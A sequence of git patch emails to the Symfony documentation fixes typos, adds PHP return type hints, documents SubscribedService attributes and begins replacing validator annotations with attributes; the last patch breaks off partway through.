From 46b89317a089bd1da3ebf4f953d73b0cc41fdcdd Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 15 Aug 2022 16:27:54 +0200
Subject: [PATCH 2241/5766] [4.4] fix code sample to log out

---
 security/form_login.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/form_login.rst b/security/form_login.rst
index 46a1c8ee049..b50c4afa887 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -128,7 +128,7 @@ configuration (``login``):
             <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use App\Controller\SecurityController;

From 83a2d1644b0fdde680a111ad394358a9c6cc91f2 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 15 Aug 2022 16:30:20 +0200
Subject: [PATCH 2242/5766] [Validation] Add getGroupSequence return hint

---
 validation/sequence_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index f519d16c68a..fb196a3b6e9 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -333,7 +333,7 @@ method, which should return an array of groups to use::
     {
         // ...
 
-        public function getGroupSequence()
+        public function getGroupSequence(): array|GroupSequence
         {
             // when returning a simple array, if there's a violation in any group
             // the rest of the groups are not validated. E.g. if 'User' fails,

From b3ea56cfc3466bae019462c7117c90e78d9fac59 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 21:44:25 +0200
Subject: [PATCH 2243/5766] [Cache] Add return hint

Add Response return hint
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 458839c371e..5dbe30c7f8f 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -215,7 +215,7 @@ The *easiest* way to cache a response is by caching it for a specific amount of
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function index()
+    public function index(): Response
     {
         // somehow create a Response object, like by rendering a template
         $response = $this->render('blog/index.html.twig', []);

From b808734c4bc6752f77963220a10cf2e57ecb9e3c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 18:57:26 +0200
Subject: [PATCH 2244/5766] Minor

The three dots are rendered as a full line: https://symfony.com/doc/5.4/deployment.html#e-other-things
---
 deployment.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 369256bf316..495cddb5505 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -213,7 +213,7 @@ setup:
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
   install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
-* ...
+* etc.
 
 Application Lifecycle: Continuous Integration, QA, etc.
 -------------------------------------------------------

From d3b56dfaf03a9151a223b552ad8269935a71be7c Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 21:50:41 +0200
Subject: [PATCH 2245/5766] [Cache] Add return hint

Return hint for invalidate added in V6.0
---
 http_cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 6a11a1fdc78..b4c883835b1 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -60,7 +60,7 @@ to support the ``PURGE`` HTTP method::
 
     class CacheKernel extends HttpCache
     {
-        protected function invalidate(Request $request, bool $catch = false)
+        protected function invalidate(Request $request, bool $catch = false): Response
         {
             if ('PURGE' !== $request->getMethod()) {
                 return parent::invalidate($request, $catch);

From 4da6ed4ff93d413797289895a72b62965939f29f Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 21:41:00 +0200
Subject: [PATCH 2246/5766] Typo in the Route attribute definition

Under the section `Parameter Conversion` there is a typo in the code block definition of the route `blog_show` (line 13 of the code block).
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 2deee8bc920..d188b0442e8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -885,7 +885,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        #[Roue('/blog/{slug}', name: 'blog_show')]
+        #[Route('/blog/{slug}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter

From 087773aa469b02ee29c49ce75027b47893dd4bf8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20DECOOL?= <contact@jdecool.fr>
Date: Wed, 17 Aug 2022 22:57:01 +0200
Subject: [PATCH 2247/5766] Fix dependency injection PHP sample code

---
 components/dependency_injection.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 5a467a25169..c1b5d454ba1 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -297,9 +297,9 @@ config files:
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $container->services()
-                ->set('mailer', 'Mailer')
-                    ->args(['%mailer.transport%'])
+            $services = $container->services();
+            $services->set('mailer', 'Mailer')
+                ->args(['%mailer.transport%'])
 
             $services->set('mailer', 'Mailer')
                 // the param() method was introduced in Symfony 5.2.

From e35ee1a82635e209a209d77173487cdad16957b2 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 23:23:32 +0200
Subject: [PATCH 2248/5766] Inappropriate usage of Parameter Conversion

Under the section `Route Groups and Prefixes`, the action `show` seems to make usage of `Parameter Conversion` technique, though there is no reference for the `Post` class in that code snippet.

I would suggest to replace the parameter `Post $post` to `string $slug` , matching the URL parameter defined above the method `show`.
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 91dabffec75..b41371f42ce 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1180,7 +1180,7 @@ the common configuration using options when importing the routes.
             /**
              * @Route("/{_locale}/posts/{slug}", name="show")
              */
-            public function show(Post $post): Response
+            public function show(string $slug): Response
             {
                 // ...
             }

From 19d9617cae4caa2a4f510f27e034950e25bb4178 Mon Sep 17 00:00:00 2001
From: Jordan de Laune <jordan@kadence.co>
Date: Thu, 18 Aug 2022 09:58:17 +0100
Subject: [PATCH 2249/5766] Update example to use Address format

It seems strange to me that the example for the From headers uses the full Address format, whereas the sender envelope does not.

I believe it is possible to use it here, so thought I would expand on the example to show how you can set both the display name and email address when configuring the sender envelope globally.
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e109c581adc..66f5b7a2d07 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -551,7 +551,7 @@ and headers.
         framework:
             mailer:
                 envelope:
-                    sender: 'fabien@example.com'
+                    sender: 'Fabien <fabien@example.com>'
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -573,7 +573,7 @@ and headers.
             <framework:config>
                 <framework:mailer>
                     <framework:envelope>
-                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender>
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -593,7 +593,7 @@ and headers.
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
-                    ->sender('fabien@example.com')
+                    ->sender('Fabien <fabien@example.com>')
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 394815cb03cb3cbe4ed592dbf13a2492e7f1e011 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Thu, 18 Aug 2022 19:40:12 +0200
Subject: [PATCH 2250/5766] Usage of "Constructor Promotion" for PHP >= 8.0.2

Symfony version 6.0 requires PHP 8.0.2 or higher, so I would suggest to make usage of the `Constructor Promotion`  feature.
---
 routing.rst | 14 +++-----------
 1 file changed, 3 insertions(+), 11 deletions(-)

diff --git a/routing.rst b/routing.rst
index 2deee8bc920..b8e03422ec1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2193,12 +2193,8 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        private $router;
-
-        public function __construct(UrlGeneratorInterface $router)
-        {
-            $this->router = $router;
-        }
+        public function __construct(private UrlGeneratorInterface $router)
+        {}
 
         public function someMethod()
         {
@@ -2312,13 +2308,9 @@ Now you'll get the expected results when generating URLs in your commands::
 
     class SomeCommand extends Command
     {
-        private $router;
-
-        public function __construct(RouterInterface $router)
+        public function __construct(private RouterInterface $router)
         {
             parent::__construct();
-
-            $this->router = $router;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output): int

From df44c8fae06f17af2ef890cc2a02d3861cdc48d0 Mon Sep 17 00:00:00 2001
From: Alexandre Balmes <github@alexandre.balmes.co>
Date: Thu, 18 Aug 2022 23:35:40 +0200
Subject: [PATCH 2251/5766] Update questionhelper.rst

Fix typo for "Command::SUCCESS"
---
 components/console/helpers/questionhelper.rst | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 863120dd52f..d3e7498049b 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -88,7 +88,7 @@ if you want to know a bundle name, you can add this to your command::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -124,7 +124,7 @@ from a predefined list::
 
         // ... do something with the color
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -166,7 +166,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -197,7 +197,7 @@ will be autocompleted as the user types::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -236,7 +236,7 @@ provide a callback function to dynamically generate suggestions::
         
         // ... do something with the filePath
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -260,7 +260,7 @@ You can also specify if you want to not trim the answer by setting it directly w
         
         // ... do something with the name
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -291,7 +291,7 @@ the response to a question should allow multiline answers by passing ``true`` to
         
         // ... do something with the answer
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -319,7 +319,7 @@ convenient for passwords::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -351,7 +351,7 @@ convenient for passwords::
 
             // ...
             
-            return Commande::SUCCESS;
+            return Command::SUCCESS;
         }
 
 Normalizing the Answer
@@ -382,7 +382,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -426,7 +426,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -488,7 +488,7 @@ You can also use a validator with a hidden question::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Testing a Command that Expects Input

From b6aa12741671b185852285e5ab5eda0d14e9f010 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 19 Aug 2022 11:35:57 -0400
Subject: [PATCH 2252/5766] [DI] add docs for `SubscribedService::$attributes`

---
 .../service_subscribers_locators.rst          | 110 +++++++++++++++++-
 1 file changed, 109 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 1c98bc7d471..c2b4c75fd23 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -243,6 +243,55 @@ service type to a service.
     The ``key`` attribute can be omitted if the service name internally is the
     same as in the service container.
 
+Add Dependency Injection Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ability to add attributes was introduced in Symfony 6.2.
+
+As an alternate to aliasing services in your configuration, you can also configure
+the following dependency injection attributes in the ``getSubscribedServices()``
+method directly:
+
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+
+This is done by having ``getSubscribedServices()`` return an array of
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` objects
+(these can be combined with standard ``string[]`` values)::
+
+    use Psr\Container\ContainerInterface;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
+
+    public static function getSubscribedServices(): array
+    {
+        return [
+            // ...
+            new SubscribedService('logger', LoggerInterface::class, attributes: new Autowire(service: 'monolog.logger.event')),
+
+            // can event use parameters
+            new SubscribedService('env', string, attributes: new Autowire('%kernel.environment%')),
+
+            // Target
+            new SubscribedService('event.logger', LoggerInterface::class, attributes: new Target('eventLogger')),
+
+            // TaggedIterator
+            new SubscribedService('loggers', 'iterable', attributes: new TaggedIterator('logger.tag')),
+
+            // TaggedLocator
+            new SubscribedService('handlers', ContainerInterface::class, attributes: new TaggedLocator('handler.tag')),
+        ];
+    }
+
 Defining a Service Locator
 --------------------------
 
@@ -256,7 +305,7 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: 
+                arguments:
                   - !service_locator
                       App\FooCommand: '@app.command_handler.foo'
                       App\BarCommand: '@app.command_handler.bar'
@@ -721,4 +770,63 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+SubscribedService Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The ability to add attributes was introduced in Symfony 6.2.
+
+You can use the ``attributes`` argument of ``SubscribedService`` to add any
+of the following dependency injection attributes:
+
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+
+Here's an example::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceSubscriberInterface;
+    use Symfony\Contracts\Service\ServiceSubscriberTrait;
+
+    class MyService implements ServiceSubscriberInterface
+    {
+        use ServiceSubscriberTrait;
+
+        public function doSomething()
+        {
+            // $this->environment() ...
+            // $this->router() ...
+            // $this->logger() ...
+        }
+
+        #[SubscribedService(attributes: new Autowire('%kernel.environment%'))]
+        private function environment(): string
+        {
+            return $this->container->get(__METHOD__);
+        }
+
+        #[SubscribedService(attributes: new Autowire(service: 'router'))]
+        private function router(): RouterInterface
+        {
+            return $this->container->get(__METHOD__);
+        }
+
+        #[SubscribedService(attributes: new Target('requestLogger'))]
+        private function logger(): LoggerInterface
+        {
+            return $this->container->get(__METHOD__);
+        }
+    }
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From 6868736fe0e13aabf69d8e22e5a371acd170875a Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 22:07:32 +0200
Subject: [PATCH 2253/5766] [Cache] Add use Response & return hint

---
 http_cache/validation.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index bf96112a88a..d46b4c58b80 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -56,10 +56,11 @@ content::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class DefaultController extends AbstractController
     {
-        public function homepage(Request $request)
+        public function homepage(Request $request): Response
         {
             $response = $this->render('static/homepage.html.twig');
             $response->setEtag(md5($response->getContent()));
@@ -138,7 +139,7 @@ header value::
 
     class ArticleController extends AbstractController
     {
-        public function show(Article $article, Request $request)
+        public function show(Article $article, Request $request): Response
         {
             $author = $article->getAuthor();
 
@@ -196,7 +197,7 @@ the better. The ``Response::isNotModified()`` method does exactly that::
 
     class ArticleController extends AbstractController
     {
-        public function show($articleSlug, Request $request)
+        public function show(string $articleSlug, Request $request): Response
         {
             // Get the minimum information to compute
             // the ETag or the Last-Modified value

From 9e04da2d2cebef6dc8e6e0e3ca14a2aa7badc3f3 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 16 Aug 2022 22:27:12 +0200
Subject: [PATCH 2254/5766] [Cache] Add return hint

---
 http_cache/esi.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 1f81a86c8a0..5b5a82a36c8 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -103,7 +103,7 @@ independently of the rest of the page::
     // ...
     class DefaultController extends AbstractController
     {
-        public function about()
+        public function about(): Response
         {
             $response = $this->render('static/about.html.twig');
             $response->setPublic();
@@ -169,7 +169,7 @@ of the master page::
     // ...
     class NewsController extends AbstractController
     {
-        public function latest($maxPerPage)
+        public function latest(int $maxPerPage): Response
         {
             // ...
             $response->setPublic();

From 0c11a0220160ed064bbbb11f897b34dc20b33283 Mon Sep 17 00:00:00 2001
From: Guilherme Ferreira <guilhermeaferreira_t@yahoo.com.br>
Date: Wed, 17 Aug 2022 10:36:57 +0200
Subject: [PATCH 2255/5766] "Creating Pages" not responsive

I noticed that while reading this page on my mobile device (a Samsung Galaxy S22), the content was not fully responsive, which was quite annoying to scroll horizontally to read.

While debugging this issue, I figure out that removing the "table" element under the `The bin/console Command` section resolved the problem (~ not entirely sure why).

I am proposing displaying the console output of the command `php bin/console debug:router` as a terminal block.
---
 page_creation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 5d82850d410..0faa564560e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -165,11 +165,13 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
 You should see your ``app_lucky_number`` route in the list:
 
-================== ======== ======== ====== ===============
-Name               Method   Scheme   Host   Path
-================== ======== ======== ====== ===============
-app_lucky_number   ANY      ANY      ANY    /lucky/number
-================== ======== ======== ====== ===============
+.. code-block:: terminal
+
+    ----------------  -------  -------  -----  --------------
+    Name              Method   Scheme   Host   Path
+    ----------------  -------  -------  -----  --------------
+    app_lucky_number  ANY      ANY      ANY    /lucky/number
+    ----------------  -------  -------  -----  --------------
 
 You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.

From 0f08b164a098a54d2a3dcc4e6e972df18ebcd1a8 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 17 Aug 2022 20:50:46 +0200
Subject: [PATCH 2256/5766] [DependecyInjection] Added Uses & hints

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index ddb81243ccd..b976736f9d6 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -352,7 +352,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     class SiteController extends AbstractController
     {
-        public function new(SiteUpdateManager $siteUpdateManager)
+        public function new(SiteUpdateManager $siteUpdateManager): Response
         {
             // ...
 

From f8dd3227c43a65a0cb8a0119fb0886c86a41f729 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 19 Aug 2022 16:50:31 +0200
Subject: [PATCH 2257/5766] [Security] update Voter return type

---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index d96be9bf6c4..528a654eb17 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -56,8 +56,8 @@ which makes creating a voter even easier::
 
     abstract class Voter implements VoterInterface
     {
-        abstract protected function supports($attribute, $subject);
-        abstract protected function voteOnAttribute($attribute, $subject, TokenInterface $token);
+        abstract protected function supports($attribute, $subject): bool;
+        abstract protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool;
     }
 
 .. _how-to-use-the-voter-in-a-controller:

From eed27a02fe8198a28c86c359ce4b31cb84171780 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Fri, 12 Aug 2022 09:42:58 +0200
Subject: [PATCH 2258/5766] Replace Assert annotations with attributes, remove
 Assert annotation configuration block

---
 form/embedded.rst                             | 10 +-
 forms.rst                                     | 21 ----
 reference/constraints/All.rst                 | 18 ----
 reference/constraints/AtLeastOneOf.rst        | 28 ------
 reference/constraints/Bic.rst                 | 15 ---
 reference/constraints/Blank.rst               | 15 ---
 reference/constraints/Callback.rst            | 37 +------
 reference/constraints/CardScheme.rst          | 18 ----
 reference/constraints/Choice.rst              | 54 ----------
 reference/constraints/Cidr.rst                | 15 ---
 reference/constraints/Collection.rst          | 51 +++-------
 reference/constraints/Compound.rst            | 43 +-------
 reference/constraints/Count.rst               | 20 ----
 reference/constraints/Country.rst             | 15 ---
 reference/constraints/CssColor.rst            | 34 -------
 reference/constraints/Currency.rst            | 15 ---
 reference/constraints/Date.rst                | 16 ---
 reference/constraints/DateTime.rst            | 16 ---
 reference/constraints/DivisibleBy.rst         | 22 -----
 reference/constraints/Email.rst               | 17 ----
 reference/constraints/EqualTo.rst             | 22 -----
 reference/constraints/Expression.rst          | 60 -----------
 .../constraints/ExpressionLanguageSyntax.rst  | 22 -----
 reference/constraints/File.rst                | 19 ----
 reference/constraints/GreaterThan.rst         | 67 -------------
 reference/constraints/GreaterThanOrEqual.rst  | 67 -------------
 reference/constraints/Hostname.rst            | 15 ---
 reference/constraints/Iban.rst                | 17 ----
 reference/constraints/IdenticalTo.rst         | 22 -----
 reference/constraints/Image.rst               | 38 -------
 reference/constraints/Ip.rst                  | 15 ---
 reference/constraints/IsFalse.rst             | 20 ----
 reference/constraints/IsNull.rst              | 15 ---
 reference/constraints/IsTrue.rst              | 20 ----
 reference/constraints/Isbn.rst                | 18 ----
 reference/constraints/Isin.rst                | 15 ---
 reference/constraints/Issn.rst                | 15 ---
 reference/constraints/Json.rst                | 17 ----
 reference/constraints/Language.rst            | 15 ---
 reference/constraints/Length.rst              | 20 ----
 reference/constraints/LessThan.rst            | 67 -------------
 reference/constraints/LessThanOrEqual.rst     | 67 -------------
 reference/constraints/Locale.rst              | 17 ----
 reference/constraints/Luhn.rst                | 15 ---
 reference/constraints/Negative.rst            | 15 ---
 reference/constraints/NegativeOrZero.rst      | 15 ---
 reference/constraints/NotBlank.rst            | 15 ---
 .../constraints/NotCompromisedPassword.rst    | 15 ---
 reference/constraints/NotEqualTo.rst          | 22 -----
 reference/constraints/NotIdenticalTo.rst      | 22 -----
 reference/constraints/NotNull.rst             | 15 ---
 reference/constraints/Positive.rst            | 15 ---
 reference/constraints/PositiveOrZero.rst      | 15 ---
 reference/constraints/Range.rst               | 73 --------------
 reference/constraints/Regex.rst               | 52 ----------
 reference/constraints/Sequentially.rst        | 24 -----
 reference/constraints/Time.rst                | 16 ---
 reference/constraints/Timezone.rst            | 15 ---
 reference/constraints/Traverse.rst            | 15 ---
 reference/constraints/Type.rst                | 33 -------
 reference/constraints/Ulid.rst                | 15 ---
 reference/constraints/Unique.rst              | 15 ---
 reference/constraints/Url.rst                 | 66 -------------
 reference/constraints/UserPassword.rst        | 17 ----
 reference/constraints/Uuid.rst                | 15 ---
 reference/constraints/Valid.rst               | 57 -----------
 validation.rst                                | 99 +------------------
 validation/custom_constraint.rst              | 23 +----
 validation/groups.rst                         | 27 -----
 validation/sequence_provider.rst              | 72 --------------
 validation/severity.rst                       | 25 -----
 validation/translations.rst                   | 15 ---
 72 files changed, 21 insertions(+), 1967 deletions(-)

diff --git a/form/embedded.rst b/form/embedded.rst
index 156b8a7a767..901f9ea6275 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -24,9 +24,7 @@ creating the ``Category`` class::
 
     class Category
     {
-        /**
-         * @Assert\NotBlank
-         */
+        #[Assert\NotBlank]
         public $name;
     }
 
@@ -38,10 +36,8 @@ Next, add a new ``category`` property to the ``Task`` class::
     {
         // ...
 
-        /**
-         * @Assert\Type(type="App\Entity\Category")
-         * @Assert\Valid
-         */
+        #[Assert\Type(type: Category::class)]
+        #[Assert\Valid]
         protected $category;
 
         // ...
diff --git a/forms.rst b/forms.rst
index 6edffafa232..f1246282efa 100644
--- a/forms.rst
+++ b/forms.rst
@@ -469,27 +469,6 @@ object.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Task.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Task
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            public $task;
-
-            /**
-             * @Assert\NotBlank
-             * @Assert\Type("\DateTime")
-             */
-            protected $dueDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Task.php
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 20317136983..30d71bbebfc 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -18,24 +18,6 @@ entry in that array:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\All({
-             *     @Assert\NotBlank,
-             *     @Assert\Length(min=5)
-             * })
-             */
-            protected $favoriteColors = [];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 42067f0c231..8b400c66dd1 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -22,34 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Student.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Student
-        {
-            /**
-             * @Assert\AtLeastOneOf({
-             *     @Assert\Regex("/#/"),
-             *     @Assert\Length(min=10)
-             * })
-             */
-            protected $password;
-
-            /**
-             * @Assert\AtLeastOneOf({
-             *     @Assert\Count(min=3),
-             *     @Assert\All(
-             *         @Assert\GreaterThanOrEqual(5)
-             *     )
-             * })
-             */
-            protected $grades;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Student.php
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 0f041e4a26f..7cc2e46f558 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -20,21 +20,6 @@ will contain a Business Identifier Code (BIC).
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Bic
-             */
-            protected $businessIdentifierCode;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index b09156296f2..fe17e88e40f 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -27,21 +27,6 @@ of an ``Author`` class were blank, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
